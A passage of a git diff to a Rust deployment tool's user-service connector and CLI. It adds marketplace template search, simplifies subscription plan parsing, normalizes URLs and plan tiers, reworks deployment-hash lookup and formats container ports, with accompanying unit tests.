+        return wrapper.user.plan.and_then(|p| p.name);
+    }
+
+    serde_json::from_str::<UserInfo>(text)
+        .ok()
+        .and_then(|u| u.plan)
+        .and_then(|p| p.name)
 }
diff --git a/src/connectors/user_service/connector.rs b/src/connectors/user_service/connector.rs
index e614ef97..3d23eb82 100644
--- a/src/connectors/user_service/connector.rs
+++ b/src/connectors/user_service/connector.rs
@@ -68,4 +68,15 @@ pub trait UserServiceConnector: Send + Sync {
     /// Get list of categories from User Service
     /// Calls GET /api/1.0/category and returns available categories
     async fn get_categories(&self) -> Result<Vec<CategoryInfo>, ConnectorError>;
+
+    /// Search the unified applications catalog used by try.direct/applications.
+    async fn search_marketplace_templates(
+        &self,
+        user_token: &str,
+        query: Option<&str>,
+        category: Option<&str>,
+        is_marketplace: Option<bool>,
+        page: Option<u32>,
+        max_results: Option<u32>,
+    ) -> Result<Vec<serde_json::Value>, ConnectorError>;
 }
diff --git a/src/connectors/user_service/marketplace_search.rs b/src/connectors/user_service/marketplace_search.rs
index 545f5ac4..512aedda 100644
--- a/src/connectors/user_service/marketplace_search.rs
+++ b/src/connectors/user_service/marketplace_search.rs
@@ -22,6 +22,18 @@ impl UserServiceClient {
         if let Some(max_results) = max_results {
             query_parts.push(format!("max_results={}", max_results));
         }
+        if let Some(query) = query.map(str::trim).filter(|query| !query.is_empty()) {
+            query_parts.push(format!("q={}", urlencoding::encode(query)));
+        }
+        if let Some(category) = category
+            .map(str::trim)
+            .filter(|category| !category.is_empty())
+        {
+            query_parts.push(format!("category={}", urlencoding::encode(category)));
+        }
+        if let Some(is_marketplace) = is_marketplace {
+            query_parts.push(format!("is_from_marketplace={}", is_marketplace));
+        }
 
         if !query_parts.is_empty() {
             url.push('?');
diff --git a/src/connectors/user_service/mock.rs b/src/connectors/user_service/mock.rs
index 5e8f54ba..b0be40b8 100644
--- a/src/connectors/user_service/mock.rs
+++ b/src/connectors/user_service/mock.rs
@@ -103,6 +103,7 @@ impl UserServiceConnector for MockUserServiceConnector {
 
     async fn get_user_profile(&self, _user_token: &str) -> Result<UserProfile, ConnectorError> {
         Ok(UserProfile {
+            id: "mock-user-id".to_string(),
             email: "test@example.com".to_string(),
             plan: Some(serde_json::json!({
                 "name": "professional",
@@ -183,4 +184,62 @@ impl UserServiceConnector for MockUserServiceConnector {
             },
         ])
     }
+
+    async fn search_marketplace_templates(
+        &self,
+        _user_token: &str,
+        query: Option<&str>,
+        category: Option<&str>,
+        is_marketplace: Option<bool>,
+        _page: Option<u32>,
+        max_results: Option<u32>,
+    ) -> Result<Vec<serde_json::Value>, ConnectorError> {
+        let mut items = vec![
+            serde_json::json!({
+                "name": "Dify",
+                "code": "dify",
+                "description": "Dify AI application platform",
+                "category": "AI",
+                "is_from_marketplace": true
+            }),
+            serde_json::json!({
+                "name": "Stackdog",
+                "code": "stackdog",
+                "description": "Security monitoring",
+                "category": "Security",
+                "is_from_marketplace": true
+            }),
+        ];
+
+        if let Some(expected) = is_marketplace {
+            items.retain(|item| {
+                item.get("is_from_marketplace")
+                    .and_then(|value| value.as_bool())
+                    == Some(expected)
+            });
+        }
+        if let Some(query) = query.map(|query| query.to_ascii_lowercase()) {
+            items.retain(|item| {
+                ["name", "code", "description"].iter().any(|field| {
+                    item.get(field)
+                        .and_then(|value| value.as_str())
+                        .map(|value| value.to_ascii_lowercase().contains(&query))
+                        .unwrap_or(false)
+                })
+            });
+        }
+        if let Some(category) = category.map(|category| category.to_ascii_lowercase()) {
+            items.retain(|item| {
+                item.get("category")
+                    .and_then(|value| value.as_str())
+                    .map(|value| value.to_ascii_lowercase() == category)
+                    .unwrap_or(false)
+            });
+        }
+        if let Some(limit) = max_results {
+            items.truncate(limit as usize);
+        }
+
+        Ok(items)
+    }
 }
diff --git a/src/connectors/user_service/mod.rs b/src/connectors/user_service/mod.rs
index 03376358..73d2d1d8 100644
--- a/src/connectors/user_service/mod.rs
+++ b/src/connectors/user_service/mod.rs
@@ -11,7 +11,6 @@ pub mod marketplace_webhook;
 pub mod mock;
 pub mod notifications;
 pub mod plan;
-pub mod profile;
 pub mod stack;
 pub mod types;
 pub mod utils;
diff --git a/src/connectors/user_service/plan.rs b/src/connectors/user_service/plan.rs
index e1da657c..9418d7b0 100644
--- a/src/connectors/user_service/plan.rs
+++ b/src/connectors/user_service/plan.rs
@@ -37,13 +37,22 @@ pub struct SubscriptionPlan {
     pub billing_id: Option<String>,
 }
 
+#[derive(Debug, Clone, Deserialize)]
+pub struct UserServiceMePlanResponse {
+    pub user: UserServiceMePlanUser,
+}
+
+#[derive(Debug, Clone, Deserialize)]
+pub struct UserServiceMePlanUser {
+    pub plan: SubscriptionPlan,
+}
+
 impl UserServiceClient {
-    /// Get user's subscription plan and limits
-    pub async fn get_subscription_plan(
+    /// Get the current `/oauth_server/api/me` response fields required for plan display.
+    pub async fn get_me_plan_response(
         &self,
         bearer_token: &str,
-    ) -> Result<SubscriptionPlan, ConnectorError> {
-        // Use the /oauth_server/api/me endpoint which returns user profile including plan info
+    ) -> Result<UserServiceMePlanResponse, ConnectorError> {
         let url = format!("{}/oauth_server/api/me", self.base_url);
 
         let response = self
@@ -63,29 +72,234 @@ impl UserServiceClient {
             )));
         }
 
-        // The response includes the user profile with "plan" field
-        let user_profile: serde_json::Value = response
+        response
             .json()
             .await
-            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?;
-
-        let plan_value = [
-            user_profile.get("plan"),
-            user_profile.pointer("/item/plan"),
-            user_profile.pointer("/user/plan"),
-            user_profile.pointer("/profile/plan"),
-            user_profile.pointer("/data/plan"),
-            user_profile.pointer("/result/plan"),
-            user_profile.pointer("/_items/0/plan"),
-        ]
-        .into_iter()
-        .flatten()
-        .find(|value| !value.is_null())
-        .ok_or_else(|| {
-            ConnectorError::InvalidResponse("No plan field in user profile".to_string())
-        })?;
-
-        serde_json::from_value(plan_value.clone())
-            .map_err(|e| ConnectorError::InvalidResponse(format!("Failed to parse plan: {}", e)))
+            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
+    }
+
+    /// Extract the subscription plan from the current `/oauth_server/api/me` response.
+    pub async fn get_subscription_plan(
+        &self,
+        bearer_token: &str,
+    ) -> Result<SubscriptionPlan, ConnectorError> {
+        Ok(self.get_me_plan_response(bearer_token).await?.user.plan)
+    }
+}
+
+pub fn user_service_url_from_sources(
+    env_auth_url: Option<String>,
+    env_api_url: Option<String>,
+    stacker_url: Option<String>,
+    config_auth_url: Option<String>,
+) -> Option<String> {
+    env_auth_url
+        .or(env_api_url)
+        .or_else(|| stacker_url.and_then(|url| user_service_url_from_stacker_url(&url)))
+        .or(config_auth_url)
+        .map(|url| normalize_user_service_base_url(&url))
+        .filter(|url| !url.is_empty())
+}
+
+pub fn user_service_url_from_stacker_url(url: &str) -> Option<String> {
+    let normalized = url.trim_end_matches('/').trim_end_matches("/api/v1");
+    if let Some(origin) = normalized.strip_suffix("/server/stacker") {
+        return Some(format!("{origin}/server/user"));
+    }
+    if let Some(origin) = normalized.strip_suffix("/stacker") {
+        return Some(format!("{origin}/server/user"));
+    }
+    None
+}
+
+pub fn normalize_user_service_base_url(url: &str) -> String {
+    let mut normalized = url.trim_end_matches('/').to_string();
+    for suffix in ["/oauth_server/api/me", "/auth/login"] {
+        if let Some(base) = normalized.strip_suffix(suffix) {
+            normalized = base.to_string();
+            break;
+        }
+    }
+    normalized
+}
+
+pub fn get_subscription_plan_blocking(
+    user_service_url: &str,
+    bearer_token: &str,
+) -> Result<SubscriptionPlan, ConnectorError> {
+    let runtime = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()
+        .map_err(|e| ConnectorError::Internal(format!("Failed to create async runtime: {e}")))?;
+
+    let client = UserServiceClient::new_public(&normalize_user_service_base_url(user_service_url));
+    runtime.block_on(client.get_subscription_plan(bearer_token))
+}
+
+pub fn subscription_plan_lines(plan: &SubscriptionPlan) -> Vec<String> {
+    let mut lines = vec!["Subscription:".to_string()];
+    lines.push(format!("  Plan:          {}", plan_label(plan)));
+    lines.push(format!("  Status:        {}", plan_status(plan)));
+    if let Some(price) = plan_price(plan) {
+        lines.push(format!("  Price:         {}", price));
+    }
+    if let Some(date_end) = plan.date_end.as_deref().filter(|value| !value.is_empty()) {
+        lines.push(format!("  Expires at:    {}", date_end));
+    }
+    if let Some(date_of_purchase) = plan
+        .date_of_purchase
+        .as_deref()
+        .filter(|value| !value.is_empty())
+    {
+        lines.push(format!("  Purchased at:  {}", date_of_purchase));
+    }
+    if let Some(includes) = plan.includes.as_ref().and_then(summarize_includes) {
+        lines.push(format!("  Includes:      {}", includes));
+    }
+    lines
+}
+
+fn plan_label(plan: &SubscriptionPlan) -> String {
+    match (plan.name.as_deref(), plan.code.as_deref()) {
+        (Some(name), Some(code)) => format!("{name} ({code})"),
+        (Some(name), None) => name.to_string(),
+        (None, Some(code)) => code.to_string(),
+        (None, None) => "unknown".to_string(),
+    }
+}
+
+fn plan_status(plan: &SubscriptionPlan) -> &'static str {
+    match plan.active {
+        Some(true) => "active",
+        Some(false) => "inactive",
+        None => "unknown",
+    }
+}
+
+fn plan_price(plan: &SubscriptionPlan) -> Option<String> {
+    let price = plan.price.as_deref()?;
+    let mut value = price.to_string();
+    if let Some(currency) = plan.currency.as_deref().filter(|value| !value.is_empty()) {
+        value.push(' ');
+        value.push_str(currency);
+    }
+    if let Some(period) = plan.period.as_deref().filter(|value| !value.is_empty()) {
+        value.push_str(" / ");
+        value.push_str(period);
+    }
+    Some(value)
+}
+
+fn summarize_include_entry(value: &serde_json::Value) -> Option<String> {
+    match value {
+        serde_json::Value::String(text) => Some(text.clone()),
+        serde_json::Value::Object(map) => map
+            .get("name")
+            .or_else(|| map.get("label"))
+            .or_else(|| map.get("code"))
+            .and_then(|value| value.as_str())
+            .map(str::to_string)
+            .or_else(|| serde_json::to_string(value).ok()),
+        _ => serde_json::to_string(value).ok(),
+    }
+}
+
+fn summarize_includes(value: &serde_json::Value) -> Option<String> {
+    match value {
+        serde_json::Value::Array(items) => {
+            let labels: Vec<String> = items.iter().filter_map(summarize_include_entry).collect();
+            if labels.is_empty() {
+                None
+            } else {
+                Some(labels.join(", "))
+            }
+        }
+        serde_json::Value::Null => None,
+        other => summarize_include_entry(other),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    #[test]
+    fn user_service_url_prefers_env_auth_url() {
+        let url = user_service_url_from_sources(
+            Some("https://user.example/".to_string()),
+            Some("https://api.example".to_string()),
+            Some("https://stacker.example".to_string()),
+            Some("https://config.example".to_string()),
+        );
+
+        assert_eq!(url.as_deref(), Some("https://user.example"));
+    }
+
+    #[test]
+    fn user_service_url_normalizes_me_endpoint_to_base_url() {
+        let url = user_service_url_from_sources(
+            Some("https://dev.try.direct/server/user/oauth_server/api/me".to_string()),
+            None,
+            None,
+            None,
+        );
+
+        assert_eq!(url.as_deref(), Some("https://dev.try.direct/server/user"));
+    }
+
+    #[test]
+    fn user_service_url_normalizes_login_endpoint_to_base_url() {
+        let url = user_service_url_from_sources(
+            Some("https://dev.try.direct/server/user/auth/login".to_string()),
+            None,
+            None,
+            None,
+        );
+
+        assert_eq!(url.as_deref(), Some("https://dev.try.direct/server/user"));
+    }
+
+    #[test]
+    fn user_service_url_derives_from_saved_stacker_url_before_config() {
+        let url = user_service_url_from_sources(
+            None,
+            None,
+            Some("https://dev.try.direct/stacker".to_string()),
+            Some("https://try.direct/server/user".to_string()),
+        );
+
+        assert_eq!(url.as_deref(), Some("https://dev.try.direct/server/user"));
+    }
+
+    #[test]
+    fn subscription_plan_lines_show_core_plan_fields() {
+        let plan = SubscriptionPlan {
+            name: Some("Free".to_string()),
+            code: Some("plan-free-periodically".to_string()),
+            includes: Some(json!([
+                { "code": "deploys-20", "name": "20 deploys per month" },
+                "Community support"
+            ])),
+            date_end: None,
+            active: Some(true),
+            price: Some("0.00".to_string()),
+            currency: Some("USD".to_string()),
+            period: Some("month".to_string()),
+            date_of_purchase: Some("2026-06-15T09:00:00Z".to_string()),
+            billing_id: Some("billing-1".to_string()),
+        };
+
+        let lines = subscription_plan_lines(&plan);
+
+        assert!(lines
+            .iter()
+            .any(|line| line.contains("Free (plan-free-periodically)")));
+        assert!(lines.iter().any(|line| line.contains("active")));
+        assert!(lines.iter().any(|line| line.contains("0.00 USD / month")));
+        assert!(lines
+            .iter()
+            .any(|line| line.contains("20 deploys per month")));
+        assert!(lines.iter().any(|line| line.contains("Community support")));
     }
 }
diff --git a/src/connectors/user_service/profile.rs b/src/connectors/user_service/profile.rs
deleted file mode 100644
index d143d93f..00000000
--- a/src/connectors/user_service/profile.rs
+++ /dev/null
@@ -1,36 +0,0 @@
-use crate::connectors::errors::ConnectorError;
-
-use super::UserProfile;
-use super::UserServiceClient;
-
-impl UserServiceClient {
-    /// Get current user profile
-    pub async fn get_user_profile(
-        &self,
-        bearer_token: &str,
-    ) -> Result<UserProfile, ConnectorError> {
-        let url = format!("{}/auth/me", self.base_url);
-
-        let response = self
-            .http_client
-            .get(&url)
-            .header("Authorization", format!("Bearer {}", bearer_token))
-            .send()
-            .await
-            .map_err(ConnectorError::from)?;
-
-        if !response.status().is_success() {
-            let status = response.status().as_u16();
-            let body = response.text().await.unwrap_or_default();
-            return Err(ConnectorError::HttpError(format!(
-                "User Service error ({}): {}",
-                status, body
-            )));
-        }
-
-        response
-            .json::<UserProfile>()
-            .await
-            .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))
-    }
-}
diff --git a/src/connectors/user_service/tests.rs b/src/connectors/user_service/tests.rs
index c5d1d710..8757ace3 100644
--- a/src/connectors/user_service/tests.rs
+++ b/src/connectors/user_service/tests.rs
@@ -263,6 +263,53 @@ async fn test_get_installation_by_hash_uses_lightweight_route() {
     );
 }
 
+#[tokio::test]
+async fn test_search_marketplace_templates_sends_query_upstream_and_filters_results() {
+    let mut server = Server::new_async().await;
+    let _mock = server
+        .mock("GET", "/applications/")
+        .match_header("authorization", "Bearer test_token")
+        .match_query(Matcher::AllOf(vec![
+            Matcher::UrlEncoded("q".to_string(), "dify".to_string()),
+            Matcher::UrlEncoded("max_results".to_string(), "10".to_string()),
+        ]))
+        .with_status(200)
+        .with_header("content-type", "application/json")
+        .with_body(
+            json!({
+                "_items": [
+                    {
+                        "name": "OpenClaw preconfigured",
+                        "code": "openclaw-preconfigured",
+                        "description": "Experimental OpenClaw setup",
+                        "is_from_marketplace": true
+                    },
+                    {
+                        "name": "Dify",
+                        "code": "dify",
+                        "description": "Dify AI workflow platform",
+                        "is_from_marketplace": true
+                    }
+                ]
+            })
+            .to_string(),
+        )
+        .create_async()
+        .await;
+
+    let client = UserServiceClient::new_public(&server.url());
+    let results = client
+        .search_marketplace_templates("test_token", Some("dify"), None, None, None, Some(10))
+        .await
+        .unwrap();
+
+    assert_eq!(results.len(), 1);
+    assert_eq!(
+        results[0].get("code").and_then(|value| value.as_str()),
+        Some("dify")
+    );
+}
+
 #[tokio::test]
 async fn test_get_installation_falls_back_to_legacy_install_route() {
     let mut server = Server::new_async().await;
@@ -314,7 +361,7 @@ async fn test_get_installation_falls_back_to_legacy_install_route() {
 }
 
 #[tokio::test]
-async fn test_get_subscription_plan_accepts_wrapped_user_profile() {
+async fn test_get_subscription_plan_accepts_user_profile_fixture() {
     let mut server = Server::new_async().await;
     let _mock = server
         .mock("GET", "/oauth_server/api/me")
@@ -323,16 +370,30 @@ async fn test_get_subscription_plan_accepts_wrapped_user_profile() {
         .with_header("content-type", "application/json")
         .with_body(
             json!({
-                "item": {
+                "user": {
                     "_id": "user-1",
+                    "owner": 410,
+                    "role": "root",
+                    "email": "user@example.com",
                     "plan": {
-                        "name": "Free",
-                        "code": "plan-free-periodically",
+                        "supported_stacks": {},
+                        "date_end": null,
+                        "name": "Team",
+                        "code": "plan-individual-monthly",
                         "includes": [
-                            { "code": "deploys-20", "name": "20 deploys per month" }
+                            { "code": "deploys-unlimited", "name": "Unlimited deploys" },
+                            { "code": "providers-all", "name": "All providers" },
+                            { "code": "support-email", "name": "Email support" }
                         ],
+                        "team": "TryDirect Team",
+                        "billing_email": "billing@try.direct",
+                        "date_of_purchase": "08 January 2026",
+                        "currency": "USD",
+                        "price": "79.00",
+                        "period": "month",
+                        "date_start": "08 January 2026",
                         "active": true,
-                        "price": "0.00"
+                        "billing_id": "sub_123"
                     }
                 }
             })
@@ -344,8 +405,11 @@ async fn test_get_subscription_plan_accepts_wrapped_user_profile() {
     let client = UserServiceClient::new_public(&server.url());
     let plan = client.get_subscription_plan("test_token").await.unwrap();
 
-    assert_eq!(plan.name.as_deref(), Some("Free"));
-    assert_eq!(plan.code.as_deref(), Some("plan-free-periodically"));
+    assert_eq!(plan.name.as_deref(), Some("Team"));
+    assert_eq!(plan.code.as_deref(), Some("plan-individual-monthly"));
+    assert_eq!(plan.price.as_deref(), Some("79.00"));
+    assert_eq!(plan.currency.as_deref(), Some("USD"));
+    assert_eq!(plan.period.as_deref(), Some("month"));
     assert!(plan.includes.unwrap().is_array());
 }
 
@@ -422,6 +486,34 @@ fn test_user_profile_deserialization() {
     assert_eq!(profile.products[1].external_id, Some(42));
 }
 
+/// Regression test: the user service returns `{"user": {...}}`. The HTTP
+/// layer must unwrap that envelope before deserializing into `UserProfile`.
+#[test]
+fn test_parse_user_profile_unwraps_user_envelope() {
+    use super::client::parse_user_profile_response;
+    let body = r#"{
+        "user": {
+            "email": "alice@example.com",
+            "plan": {"name": "Free"},
+            "products": []
+        }
+    }"#;
+    let profile = parse_user_profile_response(body).unwrap();
+    assert_eq!(profile.email, "alice@example.com");
+}
+
+#[test]
+fn test_parse_user_profile_accepts_unwrapped_body() {
+    use super::client::parse_user_profile_response;
+    let body = r#"{
+        "email": "bob@example.com",
+        "plan": null,
+        "products": []
+    }"#;
+    let profile = parse_user_profile_response(body).unwrap();
+    assert_eq!(profile.email, "bob@example.com");
+}
+
 /// Test ProductInfo with optional fields
 #[test]
 fn test_product_info_deserialization() {
diff --git a/src/connectors/user_service/types.rs b/src/connectors/user_service/types.rs
index 0280da69..530ae11f 100644
--- a/src/connectors/user_service/types.rs
+++ b/src/connectors/user_service/types.rs
@@ -49,6 +49,12 @@ pub struct UserProduct {
 /// User profile with ownership information
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct UserProfile {
+    /// Cross-service user identity. On the wire this is the `_id` field
+    /// from the user service; internally that maps to the `queue_key`
+    /// column. This is the value `deployment.user_id` is populated with
+    /// on create — the email field is *not* a join key.
+    #[serde(default, rename = "_id", alias = "id", alias = "queue_key")]
+    pub id: String,
     pub email: String,
     pub plan: Option<serde_json::Value>, // Plan details from existing endpoint
     #[serde(default)]
diff --git a/src/connectors/user_service/utils.rs b/src/connectors/user_service/utils.rs
index 44eea791..3243dc2f 100644
--- a/src/connectors/user_service/utils.rs
+++ b/src/connectors/user_service/utils.rs
@@ -1,17 +1,34 @@
+/// Maps a plan name/code returned by the User Service to a canonical tier name.
+/// The User Service may return display names (e.g. "Team", "Pro", "Enterprise")
+/// or plan codes (e.g. "plan-individual-monthly", "plan-pro-monthly").
+fn normalize_plan_to_tier(plan: &str) -> String {
+    match plan.to_lowercase().as_str() {
+        // Canonical names
+        "free" => "free",
+        "basic" => "basic",
+        "professional" | "pro" => "professional",
+        "team" => "professional",
+        "enterprise" => "enterprise",
+        // Plan codes (legacy / from User Service)
+        "plan-individual-monthly" => "professional",
+        "plan-pro-monthly" | "plan-professional-monthly" => "professional",
+        "plan-enterprise-monthly" | "plan-enterprise-yearly" => "enterprise",
+        // Unknown — pass through as-is so the caller can decide
+        other => other,
+    }
+    .to_string()
+}
+
 /// Helper function to determine if a plan tier can access a required plan
 /// Hierarchy (lowest to highest): free < basic < professional < enterprise
 pub(crate) fn is_plan_higher_tier(user_plan: &str, required_plan: &str) -> bool {
     let plan_hierarchy = vec!["free", "basic", "professional", "enterprise"];
 
-    let user_lower = user_plan.to_lowercase();
-    let required_lower = required_plan.to_lowercase();
+    let user_tier = normalize_plan_to_tier(user_plan);
+    let required_tier = normalize_plan_to_tier(required_plan);
 
-    let user_level = plan_hierarchy
-        .iter()
-        .position(|&p| p == user_lower.as_str());
-    let required_level = plan_hierarchy
-        .iter()
-        .position(|&p| p == required_lower.as_str());
+    let user_level = plan_hierarchy.iter().position(|&p| p == user_tier);
+    let required_level = plan_hierarchy.iter().position(|&p| p == required_tier);
 
     match (user_level, required_level) {
         (Some(user_level), Some(required_level)) => user_level >= required_level,
diff --git a/src/console/commands/cli/agent.rs b/src/console/commands/cli/agent.rs
index 322e7111..4070395c 100644
--- a/src/console/commands/cli/agent.rs
+++ b/src/console/commands/cli/agent.rs
@@ -50,17 +50,32 @@ pub(crate) fn resolve_deployment_hash(
     }
 
     let project_dir = std::env::current_dir().map_err(CliError::Io)?;
-
-    // 2. stacker.yml project → active agent (takes priority over lock file)
-    // The lock file records the deployment_id at deploy time but the agent may
-    // have been redeployed since, leaving the lock pointing at a stale hash.
     let config_path = project_dir.join("stacker.yml");
+
+    // 2. stacker.yml deploy.deployment_hash — written by `stacker agent install`
+    // and `stacker deploy` after a successful remote deploy.
     if config_path.exists() {
         if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path)
-            .and_then(|config| config.with_resolved_deploy_target(None))
+            .and_then(|c| c.with_resolved_deploy_target(None))
         {
-            if let Some(ref project_name) = config.project.identity {
-                if let Ok(Some(proj)) = ctx.block_on(ctx.client.find_project_by_name(project_name))
+            if let Some(ref hash) = config.deploy.deployment_hash {
+                if !hash.trim().is_empty() {
+                    return Ok(hash.clone());
+                }
+            }
+
+            // 3. stacker.yml project identity → active agent
+            // Falls back to config.name when project.identity is null.
+            let project_name = config
+                .project
+                .identity
+                .clone()
+                .filter(|s| !s.trim().is_empty())
+                .unwrap_or_else(|| config.name.clone());
+
+            if !project_name.trim().is_empty() {
+                if let Ok(Some(proj)) =
+                    ctx.block_on(ctx.client.find_project_by_name(&project_name))
                 {
                     match ctx.block_on(ctx.client.agent_snapshot_by_project(proj.id)) {
                         Ok((_, hash)) => {
@@ -70,8 +85,15 @@ pub(crate) fn resolve_deployment_hash(
                             );
                             return Ok(hash);
                         }
-                        Err(_) => {
-                            // No active agent for this project; fall through to lock
+                        Err(_) => {}
+                    }
+
+                    // No active agent yet; try most recent deployment for the project
+                    if let Ok(deployments) =
+                        ctx.block_on(ctx.client.list_deployments(Some(proj.id), Some(1)))
+                    {
+                        if let Some(dep) = deployments.into_iter().next() {
+                            return Ok(dep.deployment_hash);
                         }
                     }
                 }
@@ -79,7 +101,7 @@ pub(crate) fn resolve_deployment_hash(
         }
     }
 
-    // 3. Deployment lock (fallback when no stacker.yml or no active project agent)
+    // 4. Deployment lock → integer ID → API lookup
     if let Some(lock) = crate::cli::deployment_lock::DeploymentLock::load(&project_dir)? {
         if let Some(dep_id) = lock.deployment_id {
             let info = ctx.block_on(ctx.client.get_deployment_status(dep_id as i32))?;
@@ -452,8 +474,14 @@ fn print_health_result(info: &AgentCommandInfo) {
             if let Some(containers) = result.get("containers").and_then(|v| v.as_array()) {
                 println!("{:<28} {:<10} {}", "CONTAINER", "STATE", "STATUS");
                 for c in containers {
-                    let name = c.get("container_name").and_then(|v| v.as_str()).unwrap_or("-");
-                    let state = c.get("container_state").and_then(|v| v.as_str()).unwrap_or("-");
+                    let name = c
+                        .get("container_name")
+                        .and_then(|v| v.as_str())
+                        .unwrap_or("-");
+                    let state = c
+                        .get("container_state")
+                        .and_then(|v| v.as_str())
+                        .unwrap_or("-");
                     let status = c.get("status").and_then(|v| v.as_str()).unwrap_or("-");
                     println!(
                         "{:<28} {} {:<8} {}",
@@ -469,9 +497,15 @@ fn print_health_result(info: &AgentCommandInfo) {
 
         // Single-container health
         if result_type == "health" {
-            let state = result.get("container_state").and_then(|v| v.as_str()).unwrap_or("-");
+            let state = result
+                .get("container_state")
+                .and_then(|v| v.as_str())
+                .unwrap_or("-");
             let status = result.get("status").and_then(|v| v.as_str()).unwrap_or("-");
-            let app = result.get("app_code").and_then(|v| v.as_str()).unwrap_or("-");
+            let app = result
+                .get("app_code")
+                .and_then(|v| v.as_str())
+                .unwrap_or("-");
             println!(
                 "{}: {} {} ({})",
                 app,
@@ -508,7 +542,10 @@ fn print_all_container_health(containers: &[serde_json::Value]) {
     println!("Overall: {} {}", progress::status_icon(overall), overall);
     println!();
 
-    println!("{:<28} {:<12} {:<8} {:<8} {}", "CONTAINER", "STATE", "CPU%", "MEM%", "IMAGE");
+    println!(
+        "{:<28} {:<12} {:<8} {:<8} {}",
+        "CONTAINER", "STATE", "CPU%", "MEM%", "IMAGE"
+    );
     for c in containers {
         let name = c.get("name").and_then(|v| v.as_str()).unwrap_or("-");
         let state = c.get("status").and_then(|v| v.as_str()).unwrap_or("-");
@@ -656,8 +693,7 @@ impl CallableTrait for AgentHealthCommand {
         // No specific app requested → list all containers with health metrics.
         // This avoids sending app_code="all" to older agents that don't handle it.
         if self.app_code.is_none() && !self.include_system {
-            let containers = fetch_live_containers(&ctx, &hash)?
-                .unwrap_or_default();
+            let containers = fetch_live_containers(&ctx, &hash)?.unwrap_or_default();
             if self.json {
                 println!("{}", serde_json::to_string_pretty(&containers)?);
             } else {
@@ -1757,14 +1793,25 @@ fn print_apps_summary(apps: &[serde_json::Value]) {
 }
 
 fn print_containers_summary(containers: &[serde_json::Value]) {
+    print_containers_summary_with_apps(containers, None)
+}
+
+fn print_containers_summary_with_apps(
+    containers: &[serde_json::Value],
+    apps: Option<&[serde_json::Value]>,
+) {
     let containers = visible_containers(containers);
+    let port_lookup = apps.map(build_app_port_lookup).unwrap_or_default();
 
     if containers.is_empty() {
         println!("Containers: none");
         return;
     }
 
-    println!("{:<24} {:<12} {:<22} {:<30}", "CONTAINER", "STATE", "PORTS", "IMAGE");
+    println!(
+        "{:<24} {:<12} {:<22} {:<30}",
+        "CONTAINER", "STATE", "PORTS", "IMAGE"
+    );
     for c in containers {
         let name = c.get("name").and_then(|v| v.as_str()).unwrap_or("-");
         let state = c
@@ -1773,17 +1820,7 @@ fn print_containers_summary(containers: &[serde_json::Value]) {
             .and_then(|v| v.as_str())
             .unwrap_or("-");
         let image = c.get("image").and_then(|v| v.as_str()).unwrap_or("-");
-        let ports = c
-            .get("ports")
-            .and_then(|v| v.as_array())
-            .map(|arr| {
-                arr.iter()
-                    .filter_map(|p| p.as_str())
-                    .collect::<Vec<_>>()
-                    .join(", ")
-            })
-            .filter(|s| !s.is_empty())
-            .unwrap_or_else(|| "-".to_string());
+        let ports = format_container_ports_with_lookup(c, name, &port_lookup);
         println!(
             "{:<24} {} {:<10} {:<22} {:<30}",
             fmt::truncate(name, 22),
@@ -1795,6 +1832,129 @@ fn print_containers_summary(containers: &[serde_json::Value]) {
     }
 }
 
+fn build_app_port_lookup(apps: &[serde_json::Value]) -> std::collections::HashMap<String, String> {
+    let mut map = std::collections::HashMap::new();
+    for app in apps {
+        let code = match app.get("code").and_then(|v| v.as_str()) {
+            Some(c) => c,
+            None => continue,
+        };
+        let ports = match app.get("ports").and_then(|v| v.as_array()) {
+            Some(arr) if !arr.is_empty() => arr,
+            _ => continue,
+        };
+        let parts: Vec<String> = ports
+            .iter()
+            .filter_map(|p| {
+                let host = p
+                    .get("host_port")
+                    .or_else(|| p.get("hostPort"))
+                    .and_then(|v| v.as_str());
+                let container = p
+                    .get("container_port")
+                    .or_else(|| p.get("containerPort"))
+                    .and_then(|v| v.as_str());
+                match (host, container) {
+                    (Some(h), Some(c)) if h == c => Some(format!("{}", c)),
+                    (Some(h), Some(c)) => Some(format!("{}:{}", h, c)),
+                    (None, Some(c)) => Some(c.to_string()),
+                    (Some(h), None) => Some(h.to_string()),
+                    (None, None) => None,
+                }
+            })
+            .collect();
+        if !parts.is_empty() {
+            map.insert(code.to_string(), parts.join(", "));
+        }
+    }
+    map
+}
+
+fn container_app_code<'a>(name: &'a str) -> Option<&'a str> {
+    let name = name.trim_start_matches('/');
+    let prefix = if name.starts_with("project-") {
+        "project-"
+    } else if name.starts_with("project_") {
+        "project_"
+    } else {
+        return None;
+    };
+    let after_prefix = &name[prefix.len()..];
+    if let Some(idx) = after_prefix.rfind(|c: char| c == '-' || c == '_') {
+        let candidate = &after_prefix[..idx];
+        let suffix = &after_prefix[idx + 1..];
+        if suffix.chars().all(|c| c.is_numeric()) {
+            return Some(candidate);
+        }
+    }
+    None
+}
+
+fn format_container_ports_with_lookup(
+    container: &serde_json::Value,
+    name: &str,
+    port_lookup: &std::collections::HashMap<String, String>,
+) -> String {
+    let from_container = format_container_ports(container);
+    if from_container != "-" {
+        return from_container;
+    }
+    if let Some(code) = container_app_code(name) {
+        if let Some(ports) = port_lookup.get(code) {
+            return ports.clone();
+        }
+    }
+    "-".to_string()
+}
+
+fn format_container_ports(container: &serde_json::Value) -> String {
+    let arr = match container.get("ports").and_then(|v| v.as_array()) {
+        Some(a) => a,
+        None => return "-".to_string(),
+    };
+
+    let parts: Vec<String> = arr
+        .iter()
+        .filter_map(|p| {
+            if let Some(s) = p.as_str() {
+                Some(s.to_string())
+            } else if let Some(n) = p.as_u64() {
+                Some(n.to_string())
+            } else if let Some(obj) = p.as_object() {
+                let host = obj
+                    .get("hostPort")
+                    .or_else(|| obj.get("host_port"))
+                    .or_else(|| obj.get("PublicPort"))
+                    .and_then(|v| v.as_u64());
+                let container = obj
+                    .get("containerPort")
+                    .or_else(|| obj.get("container_port"))
+                    .or_else(|| obj.get("PrivatePort"))
+                    .and_then(|v| v.as_u64());
+                let proto = obj
+                    .get("protocol")
+                    .or_else(|| obj.get("Type"))
+                    .and_then(|v| v.as_str())
+                    .unwrap_or("tcp");
+                match (host, container) {
